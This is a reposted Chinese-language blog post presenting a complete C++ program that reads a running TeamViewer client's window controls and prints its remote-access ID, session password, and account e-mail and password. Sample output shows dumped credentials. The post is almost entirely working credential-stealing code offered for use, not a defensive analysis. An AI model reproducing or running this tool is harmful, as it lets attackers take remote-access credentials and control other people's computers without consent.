<转载>获取运行中的TeamViewer的账号和密码
2024-10-19 18:42:58
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <iostream>
#pragma comment( lib, "kernel32" )
#pragma comment( lib, "user32" ) int status = 0; BOOL CALLBACK EnumMainTVWindow(HWND hwnd, LPARAM lParam)
{
const int BufferSize = 1024;
char BufferContent[BufferSize] = "";
SendMessage(hwnd, WM_GETTEXT, (WPARAM)BufferSize, (LPARAM)BufferContent); if (status == 1)
{
printf("%s\n", BufferContent);
status = 0;
} if (strstr(BufferContent, "Allow Remote Control") != NULL)
{
status = 1;
printf("TeamViewer ID: ");
} if (strstr(BufferContent, "Please tell your partner") != NULL)
{
status = 1;
printf("TeamViewer PASS: ");
} return 1;
} BOOL CALLBACK EnumAccountWindow(HWND hwnd, LPARAM lParam)
{
const int BufferSize = 1024;
char BufferContent[BufferSize] = "";
SendMessage(hwnd, WM_GETTEXT, (WPARAM)BufferSize, (LPARAM)BufferContent); if (status == 1)
{
printf("%s\n", BufferContent);
status = 0;
} if (strstr(BufferContent, "E-mail") != NULL)
{
status = 1;
printf("E-mail: ");
} if (strstr(BufferContent, "Password") != NULL)
{
status = 1;
printf("Password: ");
} return 1;
} int main()
{
HWND hwndTeamViewer = FindWindow(NULL, "TeamViewer"); if (hwndTeamViewer)
{
EnumChildWindows(hwndTeamViewer, EnumMainTVWindow, 0);
} HWND hwndAccount = FindWindow(NULL, "Computers & Contacts"); if (hwndAccount)
{
EnumChildWindows(hwndAccount, EnumAccountWindow, 0);
} return 0;
}
C:\tools\Projects>TeamViewer_Dump.exe
TeamViewer ID: 606 151 261
TeamViewer PASS: 3239
E-mail: hacked@account.com
Password: FooPassword123
最新文章
- yii2-basic后台管理功能开发之三:自定义GridView列显示
- virtualBox下面安装linux系统如何共享目录
- rpm -qc 来查找安装包的配置文件
- HighchartsJS创建环形带标识的图表实例
- iOS是怎么";绘画";的?
- 利用python 获取 windows 组策略
- python 递归函数
- 关于ubuntu上执行错误命令报错
- SE 2014年5月22日
- Android分屏显示LogCat
- 一个view相对于屏幕或者另外一个view 的坐标
- C语言 &#183; 区间K大数查询
- (转)Unity3D移动平台动态读取外部文件全解析
- Python:解析PDF文本及表格——pdfminer、tabula、pdfplumber 的用法及对比
- Python——Django-模板
- CSU 1684-Disastrous Downtime
- MFC入门(三)-- MFC图片/文字控件(循环显示文字和图片的小程序)
- 网络编程 -- RPC实现原理 -- Netty -- 迭代版本V3 -- 编码解码
- 【COGS2479】 HZOI2016—偏序
- Android Studio 打包时 Signature Version 选择 V1 V2 说明